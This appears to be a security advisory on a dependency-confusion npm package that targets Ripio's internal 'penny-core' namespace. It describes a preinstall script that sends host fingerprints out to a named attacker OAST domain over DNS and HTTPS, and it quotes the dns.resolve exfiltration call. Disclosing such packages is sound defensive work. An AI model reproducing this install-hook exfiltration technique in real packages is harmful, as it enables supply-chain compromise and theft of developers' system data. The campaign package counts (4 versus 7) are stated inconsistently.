GCVE-110-OSM-2026-1242

Dependency confusion package targeting the Ripio cryptocurrency exchange's internal 'penny-core' namespace. At install time, the preinstall script (callback.js) exfiltrates a 28-field host fingerprint — hostname, username, user ID, working directory, home dir, OS platform/arch/release/type, CPU count, total/free memory, uptime, all network interface details (names, MAC addresses, IPs) via os.networkInterfaces(), full 'ip a' output, PATH/HOME/USER/SHELL/CI/DOCKER/HOSTNAME env vars, /etc/resolv.conf DNS server list, and Node.js version — to attacker-controlled OAST domain ienfcixqbgvbxkccdoxg49j34xtvxelcx.oast.fun via DNS subdomain encoding and HTTPS POST. Version 99.x.x is used to win dependency confusion races against internal packages. One of 4 packages in the same campaign: selene-fn, talos-fn, ripio-fn. package.json declares 'preinstall: node callback.js'. callback.js collects 28 fields (see data_exfiltrated), JSON-serialises, base64-encodes. DNS exfil: dns.resolve('pncr.<60-char-b64-prefix>.ienfcixqbgvbxkccdoxg49j34xtvxelcx.oast.fun'). HTTPS POST to https://ienfcixqbgvbxkccdoxg49j34xtvxelcx.oast.fun/penny-core with Content-Type: application/json. Falls back to HTTP port 80 on TLS failure. All 7 packages in the r76o4 campaign use the same callback.js template; only the CALLBACK_DOMAIN, package name, DNS prefix, and POST path differ.